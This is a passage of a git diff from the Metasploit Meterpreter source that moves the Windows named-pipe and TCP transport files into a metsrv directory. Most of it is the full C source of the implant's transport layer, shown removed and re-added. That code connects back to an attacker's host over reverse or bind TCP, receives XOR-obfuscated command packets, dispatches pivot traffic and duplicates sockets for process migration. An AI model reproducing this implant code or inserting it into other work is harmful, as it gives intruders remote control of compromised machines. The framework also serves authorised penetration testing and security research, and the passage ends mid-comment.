transport_create_named_pipe(MetsrvTransportNamedPipe* config, LPDWORD size) +{ + Transport* transport = (Transport*)calloc(1, sizeof(Transport)); + NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)calloc(1, sizeof(NamedPipeTransportContext)); + + if (size) + { + *size = sizeof(MetsrvTransportNamedPipe); + } + + // Lock used to synchronise writes + ctx->write_lock = lock_create(); + + dprintf("[TRANS NP] Creating pipe transport for url %S", config->common.url); + + transport->type = METERPRETER_TRANSPORT_PIPE; + transport->timeouts.comms = config->common.comms_timeout; + transport->timeouts.retry_total = config->common.retry_total; + transport->timeouts.retry_wait = config->common.retry_wait; + transport->url = _wcsdup(config->common.url); + transport->packet_transmit = packet_transmit_named_pipe; + transport->transport_init = configure_named_pipe_connection; + transport->transport_destroy = transport_destroy_named_pipe; + transport->transport_reset = transport_reset_named_pipe; + transport->server_dispatch = server_dispatch_named_pipe; + transport->get_handle = transport_get_handle_named_pipe; + transport->set_handle = transport_set_handle_named_pipe; + transport->ctx = ctx; + transport->comms_last_packet = current_unix_timestamp(); + transport->get_migrate_context = get_migrate_context_named_pipe; + transport->get_config_size = transport_get_config_size_named_pipe; + + return transport; +} diff --git a/c/meterpreter/source/server/win/server_transport_named_pipe.h b/c/meterpreter/source/metsrv/server_transport_named_pipe.h old mode 100755 new mode 100644 similarity index 62% rename from c/meterpreter/source/server/win/server_transport_named_pipe.h rename to c/meterpreter/source/metsrv/server_transport_named_pipe.h index 47338945..704a72a5 --- a/c/meterpreter/source/server/win/server_transport_named_pipe.h +++ b/c/meterpreter/source/metsrv/server_transport_named_pipe.h @@ -1,7 +1,7 @@ -#ifndef _METERPRETER_SERVER_SETUP_NAMED_PIPE -#define _METERPRETER_SERVER_SETUP_NAMED_PIPE - -void transport_write_named_pipe_config(Transport* transport, MetsrvTransportNamedPipe* config); -Transport* transport_create_named_pipe(MetsrvTransportNamedPipe* config, LPDWORD size); - +#ifndef _METERPRETER_METSRV_SERVER_SETUP_NAMED_PIPE +#define _METERPRETER_METSRV_SERVER_SETUP_NAMED_PIPE + +void transport_write_named_pipe_config(Transport* transport, MetsrvTransportNamedPipe* config); +Transport* transport_create_named_pipe(MetsrvTransportNamedPipe* config, LPDWORD size); + #endif \ No newline at end of file diff --git a/c/meterpreter/source/server/win/server_transport_tcp.c b/c/meterpreter/source/metsrv/server_transport_tcp.c old mode 100755 new mode 100644 similarity index 96% rename from c/meterpreter/source/server/win/server_transport_tcp.c rename to c/meterpreter/source/metsrv/server_transport_tcp.c index c4e70251..337d99e0 --- a/c/meterpreter/source/server/win/server_transport_tcp.c +++ b/c/meterpreter/source/metsrv/server_transport_tcp.c @@ -1,912 +1,908 @@ -/*! - * @file server_transport_tcp.c - */ -#include "metsrv.h" -#include "../../common/common.h" -#include -#include "../../common/packet_encryption.h" -#include "../../common/pivot_packet_dispatch.h" - -// TCP-transport specific migration stub. -typedef struct _TCPMIGRATECONTEXT -{ - COMMONMIGRATECONTEXT common; - WSAPROTOCOL_INFOA info; -} TCPMIGRATECONTEXT, * LPTCPMIGRATECONTEXT; - -// These fields aren't defined unless the SDK version is set to something old enough. -// So we define them here instead of dancing with SDK versions, allowing us to move on -// and still support older versions of Windows. -#ifndef IPPROTO_IPV6 -#define IPPROTO_IPV6 41 -#endif -#ifndef in6addr_any -extern IN6_ADDR in6addr_any; -#endif - -/*! - * @brief Perform the reverse_tcp connect. - * @param reverseSocket The existing socket that refers to the remote host connection, closed on failure. - * @param sockAddr The SOCKADDR structure which contains details of the connection. - * @param sockAddrSize The size of the \c sockAddr structure. - * @param retryTotal The number of seconds to continually retry for. - * @param retryWait The number of seconds between each connect attempt. - * @return Indication of success or failure. - */ -static DWORD reverse_tcp_run(SOCKET reverseSocket, SOCKADDR* sockAddr, int sockAddrSize, DWORD retryTotal, DWORD retryWait) -{ - DWORD result = ERROR_SUCCESS; - int start = current_unix_timestamp(); - do - { - int retryStart = current_unix_timestamp(); - if ((result = connect(reverseSocket, sockAddr, sockAddrSize)) != SOCKET_ERROR) - { - break; - } - - dprintf("[TCP RUN] Connection failed, sleeping for %u s", retryWait); - sleep(retryWait); - } while (((DWORD)current_unix_timestamp() - (DWORD)start) < retryTotal); - - if (result == SOCKET_ERROR) - { - closesocket(reverseSocket); - } - - return result; -} - -/*! - * @brief Connects to a provided host/port (IPv4), downloads a payload and executes it. - * @param host String containing the name or IP of the host to connect to. - * @param port Port number to connect to. - * @param retryTotal The number of seconds to continually retry for. - * @param retryWait The number of seconds between each connect attempt. - * @return Indication of success or failure. - */ -static DWORD reverse_tcp4(const char* host, u_short port, DWORD retryTotal, DWORD retryWait, SOCKET* socketBuffer) -{ - *socketBuffer = 0; - - // start by attempting to fire up Winsock. - WSADATA wsaData = { 0 }; - if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) - { - return WSAGetLastError(); - } - - // prepare to connect to the attacker - SOCKET socketHandle = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); - struct hostent* target = gethostbyname(host); - char* targetIp = inet_ntoa(*(struct in_addr *)*target->h_addr_list); - - SOCKADDR_IN sock = { 0 }; - sock.sin_addr.s_addr = inet_addr(targetIp); - sock.sin_family = AF_INET; - sock.sin_port = htons(port); - - DWORD result = reverse_tcp_run(socketHandle, (SOCKADDR*)&sock, sizeof(sock), retryTotal, retryWait); - - if (result == ERROR_SUCCESS) - { - *socketBuffer = socketHandle; - } - - return result; -} - -/*! - * @brief Connects to a provided host/port (IPv6), downloads a payload and executes it. - * @param host String containing the name or IP of the host to connect to. - * @param service The target service/port. - * @param scopeId IPv6 scope ID. - * @param retryTotal The number of seconds to continually retry for. - * @param retryWait The number of seconds between each connect attempt. - * @return Indication of success or failure. - */ -static DWORD reverse_tcp6(const char* host, const char* service, ULONG scopeId, DWORD retryTotal, DWORD retryWait, SOCKET* socketBuffer) -{ - *socketBuffer = 0; - - // start by attempting to fire up Winsock. - WSADATA wsaData = { 0 }; - if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) - { - return WSAGetLastError(); - } - - ADDRINFO hints = { 0 }; - hints.ai_family = AF_INET6; - hints.ai_socktype = SOCK_STREAM; - hints.ai_protocol = IPPROTO_TCP; - - LPADDRINFO addresses; - if (getaddrinfo(host, service, &hints, &addresses) != 0) - { - return WSAGetLastError(); - } - - // prepare to connect to the attacker - SOCKET socketHandle = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); - - if (socketHandle == INVALID_SOCKET) - { - dprintf("[STAGELESS IPV6] failed to connect to attacker"); - return WSAGetLastError(); - } - - DWORD result = ERROR_SUCCESS; - int start = current_unix_timestamp(); - do - { - int retryStart = current_unix_timestamp(); - for (LPADDRINFO address = addresses; address != NULL; address = address->ai_next) - { - ((LPSOCKADDR_IN6)address->ai_addr)->sin6_scope_id = scopeId; - - if ((result = connect(socketHandle, address->ai_addr, (int)address->ai_addrlen)) != SOCKET_ERROR) - { - dprintf("[STAGELESS IPV6] Socket successfully connected"); - *socketBuffer = socketHandle; - freeaddrinfo(addresses); - return ERROR_SUCCESS; - } - } - - dprintf("[TCP RUN] Connection failed, sleeping for %u s", retryWait); - sleep(retryWait); - } while (((DWORD)current_unix_timestamp() - (DWORD)start) < retryTotal); - - closesocket(socketHandle); - freeaddrinfo(addresses); - - return result; -} - -/*! - * @brief Perform the bind_tcp process. - * @param listenSocket The existing listen socket that refers to the remote host connection, closed before returning. - * @param sockAddr The SOCKADDR structure which contains details of the connection. - * @param sockAddrSize The size of the \c sockAddr structure. - * @param acceptSocketBuffer Buffer that will receive the accepted socket handle on success. - * @return Indication of success or failure. - */ -static DWORD bind_tcp_run(SOCKET listenSocket, SOCKADDR* sockAddr, int sockAddrSize, SOCKET* acceptSocketBuffer) -{ - DWORD result = ERROR_SUCCESS; - do - { - if (bind(listenSocket, sockAddr, sockAddrSize) == SOCKET_ERROR) - { - result = WSAGetLastError(); - break; - } - - if (listen(listenSocket, 1) == SOCKET_ERROR) - { - result = WSAGetLastError(); - break; - } - - // Setup, ready to go, now wait for the connection. - SOCKET acceptSocket = accept(listenSocket, NULL, NULL); - - if (acceptSocket == INVALID_SOCKET) - { - result = WSAGetLastError(); - break; - } - - *acceptSocketBuffer = acceptSocket; - } while (0); - - closesocket(listenSocket); - - return result; -} - -/*! - * @brief Listens on a port for an incoming payload request. - * @param port Port number to listen on. - * @param socketBuffer Pointer to the variable that will recieve the socket file descriptor. - * @return Indication of success or failure. - */ -static DWORD bind_tcp(u_short port, SOCKET* socketBuffer) -{ - *socketBuffer = 0; - - // start by attempting to fire up Winsock. - WSADATA wsaData = { 0 }; - if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) - { - return WSAGetLastError(); - } - - // prepare a connection listener for the attacker to connect to, and we - // attempt to bind to both ipv6 and ipv4 by default, and fallback to ipv4 - // only if the process fails. - BOOL v4Fallback = FALSE; - SOCKET listenSocket = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); - - if (listenSocket == INVALID_SOCKET) - { - dprintf("[BIND] Unable to create IPv6 socket"); - v4Fallback = TRUE; - } - else - { - int no = 0; - if (setsockopt(listenSocket, IPPROTO_IPV6, IPV6_V6ONLY, (char*)&no, sizeof(no)) == SOCKET_ERROR) - { - // fallback to ipv4 - we're probably running on Windows XP or earlier here, which means that to - // support IPv4 and IPv6 we'd need to create two separate sockets. IPv6 on XP isn't that common - // so instead, we'll just revert back to v4 and listen on that one address instead. - dprintf("[BIND] Unable to remove IPV6_ONLY option"); - closesocket(listenSocket); - v4Fallback = TRUE; - } - } - - if (v4Fallback) - { - dprintf("[BIND] Falling back to IPV4"); - listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); - } - - struct sockaddr_in6 sockAddr = { 0 }; - - if (v4Fallback) - { - struct sockaddr_in* v4Addr = (struct sockaddr_in*)&sockAddr; - v4Addr->sin_addr.s_addr = htons(INADDR_ANY); - v4Addr->sin_family = AF_INET; - v4Addr->sin_port = htons(port); - } - else - { - sockAddr.sin6_addr = in6addr_any; - sockAddr.sin6_family = AF_INET6; - sockAddr.sin6_port = htons(port); - } - - return bind_tcp_run(listenSocket, (SOCKADDR*)&sockAddr, v4Fallback ? sizeof(struct sockaddr_in) : sizeof(struct sockaddr_in6), socketBuffer); -} - -/*! - * @brief Poll a socket for data to recv and block when none available. - * @param remote Pointer to the remote instance. - * @param timeout Amount of time to wait before the poll times out (in milliseconds). - * @return Indication of success or failure. - */ -static LONG server_socket_poll(Remote* remote, long timeout) -{ - TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx; - struct timeval tv; - LONG result; - fd_set fdread; - - lock_acquire(remote->lock); - - FD_ZERO(&fdread); - FD_SET(ctx->fd, &fdread); - - tv.tv_sec = 0; - tv.tv_usec = timeout; - - result = select((int)ctx->fd + 1, &fdread, NULL, NULL, &tv); - - lock_release(remote->lock); - - return result; -} - -/*! - * @brief Receive a new packet on the given remote endpoint. - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to a pointer that will receive the \c Packet data. - * @return An indication of the result of processing the transmission request. - */ -static DWORD packet_receive(Remote *remote, Packet **packet) -{ - DWORD headerBytes = 0, payloadBytesLeft = 0, res; - Packet *localPacket = NULL; - PacketHeader header = { 0 }; - LONG bytesRead; - BOOL inHeader = TRUE; - PUCHAR packetBuffer = NULL; - ULONG payloadLength; - TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx; - - lock_acquire(remote->lock); - - dprintf("[TCP PACKET RECEIVE] reading in the header"); - // Read the packet length - while (inHeader) - { - if ((bytesRead = recv(ctx->fd, ((PUCHAR)&header + headerBytes), sizeof(PacketHeader)-headerBytes, 0)) <= 0) - { - SetLastError(ERROR_NOT_FOUND); - goto out; - } - - headerBytes += bytesRead; - - if (headerBytes != sizeof(PacketHeader)) - { - continue; - } - - inHeader = FALSE; - } - - if (headerBytes != sizeof(PacketHeader)) - { - dprintf("[TCP] we didn't get enough header bytes"); - goto out; - } - - dprintf("[TCP] the XOR key is: %02x%02x%02x%02x", header.xor_key[0], header.xor_key[1], header.xor_key[2], header.xor_key[3]); - -#ifdef DEBUGTRACE - PUCHAR h = (PUCHAR)&header; - vdprintf("[TCP] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); -#endif - - // At this point, we might have read in a valid TLV packet, or we might have read in the first chunk of data - // from a staged listener after a reconnect. We can figure this out rather lazily by assuming the following: - // XOR keys are always 4 bytes that are non-zero. If the higher order byte of the xor key is zero, then it - // isn't an XOR Key, instead it's the 4-byte length of the metsrv binary (because metsrv isn't THAT big). - if (header.xor_key[3] == 0) - { - // looks like we have a metsrv instance, time to ignore it. - int length = *(int*)&header.xor_key[0]; - dprintf("[TCP] discovered a length header, assuming it's metsrv of length %d", length); - - int bytesToRead = length - sizeof(PacketHeader) + sizeof(DWORD); - char buffer[65535]; - - while (bytesToRead > 0) - { - int bytesRead = recv(ctx->fd, buffer, min(sizeof(buffer), bytesToRead), 0); - - if (bytesRead < 0) - { - if (GetLastError() == WSAEWOULDBLOCK) - { - continue; - } - SetLastError(ERROR_NOT_FOUND); - break; - } - - bytesToRead -= bytesRead; - } - - // did something go wrong. - if (bytesToRead > 0) - { - goto out; - } - - // indicate success, but don't return a packet for processing - SetLastError(ERROR_SUCCESS); - *packet = NULL; - } - else - { - vdprintf("[TCP] XOR key looks fine, moving on"); - PacketHeader encodedHeader; - memcpy(&encodedHeader, &header, sizeof(PacketHeader)); - // xor the header data - xor_bytes(header.xor_key, (PUCHAR)&header + sizeof(header.xor_key), sizeof(PacketHeader) - sizeof(header.xor_key)); -#ifdef DEBUGTRACE - PUCHAR h = (PUCHAR)&header; - vdprintf("[TCP] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); -#endif - payloadLength = ntohl(header.length) - sizeof(TlvHeader); - vdprintf("[TCP] Payload length is %d", payloadLength); - DWORD packetSize = sizeof(PacketHeader) + payloadLength; - vdprintf("[TCP] total buffer size for the packet is %d", packetSize); - payloadBytesLeft = payloadLength; - - // Allocate the payload - if (!(packetBuffer = (PUCHAR)malloc(packetSize))) - { - dprintf("[TCP] Failed to create the packet buffer"); - SetLastError(ERROR_NOT_ENOUGH_MEMORY); - goto out; - } - dprintf("[TCP] Allocated packet buffer at %p", packetBuffer); - - // Copy the packet header stuff over to the packet - memcpy_s(packetBuffer, sizeof(PacketHeader), (LPBYTE)&encodedHeader, sizeof(PacketHeader)); - - LPBYTE payload = packetBuffer + sizeof(PacketHeader); - - // Read the payload - while (payloadBytesLeft > 0) - { - if ((bytesRead = recv(ctx->fd, payload + payloadLength - payloadBytesLeft, payloadBytesLeft, 0)) <= 0) - { - - if (GetLastError() == WSAEWOULDBLOCK) - { - continue; - } - - if (bytesRead < 0) - { - SetLastError(ERROR_NOT_FOUND); - } - goto out; - } - - payloadBytesLeft -= bytesRead; - } - - // Didn't finish? - if (payloadBytesLeft) - { - dprintf("[TCP] Failed to get all the payload bytes"); - goto out; - } - -#ifdef DEBUGTRACE - h = (PUCHAR)&header.session_guid[0]; - dprintf("[TCP] Packet Session GUID: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); -#endif - if (is_null_guid(header.session_guid) || memcmp(remote->orig_config->session.session_guid, header.session_guid, sizeof(header.session_guid)) == 0) - { - dprintf("[TCP] Session GUIDs match (or packet guid is null), decrypting packet"); - SetLastError(decrypt_packet(remote, packet, packetBuffer, packetSize)); - } - else - { - dprintf("[TCP] Session GUIDs don't match, looking for a pivot"); - PivotContext* pivotCtx = pivot_tree_find(remote->pivot_sessions, header.session_guid); - if (pivotCtx != NULL) - { - dprintf("[TCP] Pivot found, dispatching packet on a thread (to avoid main thread blocking)"); - SetLastError(pivot_packet_dispatch(pivotCtx, packetBuffer, packetSize)); - - // mark this packet buffer as NULL as the thread will clean it up - packetBuffer = NULL; - *packet = NULL; - } - else - { - dprintf("[TCP] Session GUIDs don't match, can't find pivot!"); - } - } - } - -out: - res = GetLastError(); - - dprintf("[TCP] Freeing stuff up"); - SAFE_FREE(packetBuffer); - - // Cleanup on failure - if (res != ERROR_SUCCESS) - { - SAFE_FREE(localPacket); - } - - lock_release(remote->lock); - dprintf("[TCP] Packet receive finished"); - - return res; -} - -/*! - * @brief The servers main dispatch loop for incoming requests using TCP - * @param remote Pointer to the remote endpoint for this server connection. - * @param dispatchThread Pointer to the main dispatch thread. - * @returns Indication of success or failure. - */ -static DWORD server_dispatch_tcp(Remote* remote, THREAD* dispatchThread) -{ - Transport* transport = remote->transport; - BOOL running = TRUE; - LONG result = ERROR_SUCCESS; - Packet * packet = NULL; - THREAD * cpt = NULL; - - dprintf("[DISPATCH] entering server_dispatch( 0x%08X )", remote); - - int lastPacket = current_unix_timestamp(); - while (running) - { - if (event_poll(dispatchThread->sigterm, 0)) - { - dprintf("[DISPATCH] server dispatch thread signaled to terminate..."); - break; - } - - result = server_socket_poll(remote, 50000); - if (result > 0) - { - result = packet_receive(remote, &packet); - if (result != ERROR_SUCCESS) - { - dprintf("[DISPATCH] packet_receive returned %d, exiting dispatcher...", result); - break; - } - - if (packet == NULL) - { - dprintf("[DISPATCH] No packet received, probably just metsrv being ignored or a pivot packet being handled."); - } - else - { - running = command_handle(remote, packet); - dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop")); - } - - // packet received, reset the timer - lastPacket = current_unix_timestamp(); - } - else if (result == 0) - { - // check if the communication has timed out, or the session has expired, so we should terminate the session - int now = current_unix_timestamp(); - if (now > remote->sess_expiry_end) - { - result = ERROR_SUCCESS; - dprintf("[DISPATCH] session has ended"); - break; - } - else if ((now - lastPacket) > transport->timeouts.comms) - { - result = ERROR_NETWORK_NOT_AVAILABLE; - dprintf("[DISPATCH] communications has timed out"); - break; - } - } - else - { - dprintf("[DISPATCH] server_socket_poll returned %d, exiting dispatcher...", result); - break; - } - } - - dprintf("[DISPATCH] leaving server_dispatch."); - - return result; -} - -/*! - * @brief Get the socket from the transport (if it's TCP). - * @param transport Pointer to the TCP transport containing the socket. - * @return The current transport socket FD, if any, or zero. - */ -static UINT_PTR transport_get_handle_tcp(Transport* transport) -{ - if (transport && transport->type == METERPRETER_TRANSPORT_TCP) - { - return (UINT_PTR)((TcpTransportContext*)transport->ctx)->fd; - } - - return 0; -} - -/*! - * @brief Set the socket from the transport (if it's TCP). - * @param transport Pointer to the TCP transport containing the socket. - * @param handle The current transport socket FD, if any. - */ -static void transport_set_handle_tcp(Transport* transport, UINT_PTR handle) -{ - if (transport && transport->type == METERPRETER_TRANSPORT_TCP) - { - ((TcpTransportContext*)transport->ctx)->fd = (SOCKET)handle; - } -} - -/*! - * @brief Destroy the TCP transport. - * @param transport Pointer to the TCP transport to destroy. - */ -static void transport_destroy_tcp(Transport* transport) -{ - if (transport && transport->type == METERPRETER_TRANSPORT_TCP) - { - dprintf("[TRANS TCP] Destroying tcp transport for url %S", transport->url); - SAFE_FREE(transport->url); - SAFE_FREE(transport->ctx); - SAFE_FREE(transport); - } -} - -/*! - * @brief Handle cleaning up on the client socket when MSF terminates the connection. - * @param thread Pointer to the thread instance. - * @return EXIT_SUCCESS - */ -DWORD THREADCALL cleanup_socket(THREAD* thread) -{ - char buf[4]; - int result; - SOCKET fd = (SOCKET)thread->parameter1; - - dprintf("[TCP] waiting for disconnect from remote"); - // loop until FD_CLOSE comes through. - while ((result = recv(fd, buf, sizeof(buf), 0)) != 0) - { - if (result <= 0) - { - break; - } - } - - dprintf("[TCP] disconnect received, cleaning up"); - closesocket(fd); - thread_destroy(thread); - - return EXIT_SUCCESS; -} - -/*! - * @brief Reset the given TCP connection. - * @param transport Pointer to the TCP transport to reset. - * @param shuttingDown Indication that the Metsrv instance is terminating completely. - */ -static void transport_reset_tcp(Transport* transport, BOOL shuttingDown) -{ - if (transport && transport->type == METERPRETER_TRANSPORT_TCP) - { - TcpTransportContext* ctx = (TcpTransportContext*)transport->ctx; - dprintf("[TCP] Resetting transport from %u", ctx->fd); - if (ctx->fd) - { - if (shuttingDown) - { - dprintf("[TCP] Transport is shutting down"); - // we can terminate right here, given that we're closing up - closesocket(ctx->fd); - } - else - { - // Thanks to the fact that we know we can't rely on Windows to flush the socket nicely - // we can't just call "closesocket" on the socket. If we do, we could lose packets that - // cause MSF to be rather unhappy (and it hangs as a result of not getting a response). - // Instead of this, we create a new thread which monitors the socket handle. We know that - // MSF will terminate that connection when resetting, and so we wait for that termination - // before cleaning up the socket. This is done in another thread so that functionality - // can continue. - dprintf("[TCP] It should now be safe to close the socket."); - THREAD* t = thread_create(cleanup_socket, (LPVOID)ctx->fd, NULL, NULL); - thread_run(t); - } - } - ctx->fd = 0; - dprintf("[TCP] Transport 0x%p is now reset to %u", transport, ctx->fd); - } -} - -/*! - * @brief Configure the TCP connnection. If it doesn't exist, go ahead and estbalish it. - * @param transport Pointer to the transport instance. - * @return Indication of success or failure. - */ -static BOOL configure_tcp_connection(Transport* transport) -{ - DWORD result = ERROR_SUCCESS; - size_t charsConverted; - char asciiUrl[512]; - TcpTransportContext* ctx = (TcpTransportContext*)transport->ctx; - - // check if comms is already open via a staged payload - if (ctx->fd) - { - dprintf("[TCP] Connection already running on %u", ctx->fd); - } - else - { - // From here, we need to establish comms a-la stageless. - wcstombs_s(&charsConverted, asciiUrl, sizeof(asciiUrl), transport->url, sizeof(asciiUrl)-1); - - dprintf("[TCP CONFIGURE] Url: %S", transport->url); - - //transport->start_time = current_unix_timestamp(); - transport->comms_last_packet = current_unix_timestamp(); - - if (strncmp(asciiUrl, "tcp", 3) == 0) - { - char* pHost = strstr(asciiUrl, "//") + 2; - char* pPort = strrchr(pHost, ':') + 1; - - // check if we're using IPv6 - if (asciiUrl[3] == '6') - { - char* pScopeId = strrchr(pHost, '?') + 1; - *(pScopeId - 1) = '\0'; - *(pPort - 1) = '\0'; - dprintf("[STAGELESS] IPv6 host %s port %S scopeid %S", pHost, pPort, pScopeId); - result = reverse_tcp6(pHost, pPort, atol(pScopeId), transport->timeouts.retry_total, - transport->timeouts.retry_wait, &ctx->fd); - } - else - { - u_short usPort = (u_short)atoi(pPort); - - // if no host is specified, then we can assume that this is a bind payload, otherwise - // we'll assume that the payload is a reverse_tcp one and the given host is valid - if (*pHost == ':') - { - dprintf("[STAGELESS] IPv4 bind port %s", pPort); - result = bind_tcp(usPort, &ctx->fd); - } - else - { - *(pPort - 1) = '\0'; - dprintf("[STAGELESS] IPv4 host %s port %s", pHost, pPort); - result = reverse_tcp4(pHost, usPort, transport->timeouts.retry_total, - transport->timeouts.retry_wait, &ctx->fd); - } - } - } - } - - if (result != ERROR_SUCCESS) - { - dprintf("[SERVER] Something went wrong %u", result); - return FALSE; - } - - dprintf("[SERVER] Looking good, FORWARD!"); - - // Do not allow the file descriptor to be inherited by child processes - SetHandleInformation((HANDLE)ctx->fd, HANDLE_FLAG_INHERIT, 0); - - transport->comms_last_packet = current_unix_timestamp(); - - return TRUE; -} - -/*! - * @brief Transmit a packet via TCP. - * @param remote Pointer to the \c Remote instance. - * @param rawPacket Pointer to the raw packet bytes to send. - * @param rawPacketLength Length of the raw packet data. - * @return An indication of the result of processing the transmission request. - */ -DWORD packet_transmit_tcp(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLength) -{ - TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx; - DWORD result = ERROR_SUCCESS; - DWORD idx = 0; - - lock_acquire(remote->lock); - - while (idx < rawPacketLength) - { - result = send(ctx->fd, rawPacket + idx, rawPacketLength - idx, 0); - - if (result < 0) - { - dprintf("[PACKET] send failed: %d", result); - break; - } - - idx += result; - } - - result = GetLastError(); - - if (result != ERROR_SUCCESS) - { - dprintf("[PACKET] transmit packet failed with return %d at index %d\n", result, idx); - } - else - { - dprintf("[PACKET] Packet sent!"); - } - - lock_release(remote->lock); - - return result; -} - -/*! - * @brief Create a configuration block from the given transport. - * @param transport Transport data to create the configuration from. - * @return config Pointer to the config block to write to. - */ -void transport_write_tcp_config(Transport* transport, MetsrvTransportTcp* config) -{ - if (transport && config) - { - config->common.comms_timeout = transport->timeouts.comms; - config->common.retry_total = transport->timeouts.retry_total; - config->common.retry_wait = transport->timeouts.retry_wait; - wcsncpy(config->common.url, transport->url, URL_SIZE); - } -} - -/*! - * @brief Create a migration context that is specific to this transport type. - * @param transport Transport data to create the configuration from. - * @param targetProcessId ID of the process that we will be migrating into. - * @param targetProcessHandle Handle to the target process. - * @param contextSize Buffer that will receive the size of the generated context. - * @param contextBufer Buffer that will receive the generated context. - * @return Indication of success or failure. - */ -static DWORD get_migrate_context_tcp(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, LPBYTE* contextBuffer) -{ - LPTCPMIGRATECONTEXT ctx = (LPTCPMIGRATECONTEXT)calloc(1, sizeof(TCPMIGRATECONTEXT)); - - if (ctx == NULL) - { - return ERROR_OUTOFMEMORY; - } - - // Duplicate the socket for the target process - if (WSADuplicateSocketA(((TcpTransportContext*)transport->ctx)->fd, targetProcessId, &ctx->info) != NO_ERROR) - { - free(ctx); - return WSAGetLastError(); - } - - *contextSize = sizeof(TCPMIGRATECONTEXT); - *contextBuffer = (PBYTE)ctx; - - return ERROR_SUCCESS; -} - -/*! - * @brief Gets the size of the memory space required to store the configuration for this transport. - * @param t Pointer to the transport. - * @return Size, in bytes of the required memory block. - */ -static DWORD transport_get_config_size_tcp(Transport* t) -{ - return sizeof(MetsrvTransportTcp); -} - -/*! - * @brief Creates a new TCP transport instance. - * @param config The TCP configuration block. - * @param size Pointer to the size of the parsed config block. - * @return Pointer to the newly configured/created TCP transport instance. - */ -Transport* transport_create_tcp(MetsrvTransportTcp* config, LPDWORD size) -{ - Transport* transport = (Transport*)malloc(sizeof(Transport)); - TcpTransportContext* ctx = (TcpTransportContext*)malloc(sizeof(TcpTransportContext)); - - if (size) - { - *size = sizeof(MetsrvTransportTcp); - } - - dprintf("[TRANS TCP] Creating tcp transport for url %S", config->common.url); - - memset(transport, 0, sizeof(Transport)); - memset(ctx, 0, sizeof(TcpTransportContext)); - - transport->type = METERPRETER_TRANSPORT_TCP; - transport->timeouts.comms = config->common.comms_timeout; - transport->timeouts.retry_total = config->common.retry_total; - transport->timeouts.retry_wait = config->common.retry_wait; - transport->url = _wcsdup(config->common.url); - transport->packet_transmit = packet_transmit_tcp; - transport->transport_init = configure_tcp_connection; - transport->transport_destroy = transport_destroy_tcp; - transport->transport_reset = transport_reset_tcp; - transport->server_dispatch = server_dispatch_tcp; - transport->get_handle = transport_get_handle_tcp; - transport->set_handle = transport_set_handle_tcp; - transport->ctx = ctx; - transport->comms_last_packet = current_unix_timestamp(); - transport->get_migrate_context = get_migrate_context_tcp; - transport->get_config_size = transport_get_config_size_tcp; - - return transport; -} - +/*! + * @file server_transport_tcp.c + */ +#include "metsrv.h" +#include +#include "packet_encryption.h" +#include "pivot_packet_dispatch.h" + +// TCP-transport specific migration stub. +typedef struct _TCPMIGRATECONTEXT +{ + COMMONMIGRATECONTEXT common; + WSAPROTOCOL_INFOA info; +} TCPMIGRATECONTEXT, * LPTCPMIGRATECONTEXT; + +// These fields aren't defined unless the SDK version is set to something old enough. +// So we define them here instead of dancing with SDK versions, allowing us to move on +// and still support older versions of Windows. +#ifndef IPPROTO_IPV6 +#define IPPROTO_IPV6 41 +#endif + +/*! + * @brief Perform the reverse_tcp connect. + * @param reverseSocket The existing socket that refers to the remote host connection, closed on failure. + * @param sockAddr The SOCKADDR structure which contains details of the connection. + * @param sockAddrSize The size of the \c sockAddr structure. + * @param retryTotal The number of seconds to continually retry for. + * @param retryWait The number of seconds between each connect attempt. + * @return Indication of success or failure. + */ +static DWORD reverse_tcp_run(SOCKET reverseSocket, SOCKADDR* sockAddr, int sockAddrSize, DWORD retryTotal, DWORD retryWait) +{ + DWORD result = ERROR_SUCCESS; + int start = current_unix_timestamp(); + do + { + int retryStart = current_unix_timestamp(); + if ((result = connect(reverseSocket, sockAddr, sockAddrSize)) != SOCKET_ERROR) + { + break; + } + + dprintf("[TCP RUN] Connection failed, sleeping for %u s", retryWait); + sleep(retryWait); + } while (((DWORD)current_unix_timestamp() - (DWORD)start) < retryTotal); + + if (result == SOCKET_ERROR) + { + closesocket(reverseSocket); + } + + return result; +} + +/*! + * @brief Connects to a provided host/port (IPv4), downloads a payload and executes it. + * @param host String containing the name or IP of the host to connect to. + * @param port Port number to connect to. + * @param retryTotal The number of 